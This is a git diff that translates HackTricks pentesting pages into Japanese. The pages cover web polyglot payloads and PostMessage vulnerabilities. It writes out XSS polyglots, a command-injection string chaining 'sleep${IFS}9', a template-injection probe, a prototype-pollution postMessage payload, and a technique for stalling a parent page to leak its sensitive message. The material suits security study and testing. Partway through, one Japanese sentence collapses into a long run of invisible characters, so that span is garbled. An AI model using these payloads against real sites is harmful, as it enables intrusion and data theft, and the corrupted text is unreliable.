exploiting the different interpretations of file types, polyglots can be used to bypass security measures and execute malicious code. It is important for security professionals to be aware of polyglot techniques in order to effectively defend against them. + +## 結論 + +ポリグロットは、ハッカーの手にある強力なツールです。ファイルタイプの異なる解釈を利用することで、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。セキュリティの専門家は、ポリグロットの技術について正しく理解し、それに対して効果的に防御することが重要です。 ```markup javascript:"/*'/*`/*--> -->'"/>
@@ -258,22 +1366,18 @@ javascript:`//"//\"// javascript:"/*'/*`/*--> ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md index 0ef05f1a2..7678e9bd3 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md @@ -4,14 +4,13 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} @@ -51,15 +50,14 @@ javascript:"/*'/*`/*--> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**には、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/pentesting-web/postmessage-vulnerabilities/README.md b/pentesting-web/postmessage-vulnerabilities/README.md index 70406137e..ca15f0d66 100644 --- a/pentesting-web/postmessage-vulnerabilities/README.md +++ b/pentesting-web/postmessage-vulnerabilities/README.md @@ -1,23 +1,22 @@ -# PostMessage Vulnerabilities +# PostMessageの脆弱性 -## PostMessage Vulnerabilities +## PostMessageの脆弱性
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Send **PostMessage** - -**PostMessage** uses the following function to send a message: +## **PostMessage**の送信 +**PostMessage**は、次の関数を使用してメッセージを送信します: ```bash targetWindow.postMessage(message, targetOrigin, [transfer]); @@ -43,179 +42,168 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500'); ## loop until win.length == 1 (until the iframe is loaded) win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') ``` +注意してください。**targetOrigin**は'\*'または_https://company.com_のようなURLである場合があります。\ +**2番目のシナリオ**では、**メッセージはそのドメインにのみ送信**されます(ウィンドウオブジェクトのオリジンが異なっていても)。\ +ワイルドカードが使用される場合、**メッセージは任意のドメインに送信**され、ウィンドウオブジェクトのオリジンに送信されます。 -Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\ -In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\ -If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object. - -### Attacking iframe & wildcard in **targetOrigin** - -As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\ -Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**. +### iframeとワイルドカードを使用した攻撃 +[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**X-Frame-Header**の保護がない**iframe**で表示できるページを見つけ、ワイルドカード(\*)を使用して**postMessage**を介して**機密情報**を送信している場合、**iframe**の**origin**を**変更**して、機密情報を自分が制御するドメインに**漏洩**させることができます。\ +ただし、ページがiframeで表示できるが、**targetOrigin**が**URLに設定されていてワイルドカードではない**場合、このトリックは**機能しません**。 ```markup - - +setTimeout(get_code, 2000); + ``` +**詳細情報**については以下を参照してください: -For **more information**: +* [**プロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/)に関するページへのリンク +* [**XSS**](../xss-cross-site-scripting/)に関するページへのリンク +* [**クライアント側のプロトタイプ汚染からXSSへ**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)に関するページへのリンク -* Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/) -* Link to page about [**XSS**](../xss-cross-site-scripting/) -* Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) - -## References +## 参考文献 * [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) -* To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) +* 練習用:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md index 9d4866037..9bda79102 100644 --- a/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md +++ b/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md @@ -1,54 +1,47 @@ -# Blocking main page to steal postmessage +# ポストメッセージを盗むためにメインページをブロックする
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Winning RCs with Iframes +## Iframesを使用してRCを獲得する -According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed. +この[**Terjanqの解説記事**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、nullの起源から作成されたblobドキュメントはセキュリティ上の利点のために分離されています。つまり、メインページを忙しく保つと、iframeページが実行されます。 -Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\ -However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code). - -Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\ -Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it. - -But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this: +基本的に、このチャレンジでは**分離されたiframeが実行**され、それが**ロードされた直後に**親ページが**フラグを含むポストメッセージを送信**します。\ +ただし、このポストメッセージの通信はXSSに**脆弱**です(**iframe**はJSコードを実行できます)。 +したがって、攻撃者の目標は、**親がiframeを作成**することを許可し、**親ページが感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ ```javascript window.addEventListener('message', (e) => { - if (e.data == 'blob loaded') { - $("#previewModal").modal(); - } +if (e.data == 'blob loaded') { +$("#previewModal").modal(); +} }); ``` - -so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time: - +したがって、**postmessageで大きな整数を送信**することが可能であり、その比較時には**文字列に変換**されるため、時間がかかります。 ```bash const buffer = new Uint8Array(1e7); win?.postMessage(buffer, '*', [buffer.buffer]); ``` - -And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**. +そして、**iframe**が作成された直後に、親からデータを受け取る準備ができる前に、正確にその**postmessage**を**送信**するために、`setTimeout`のミリ秒を調整する必要があります。
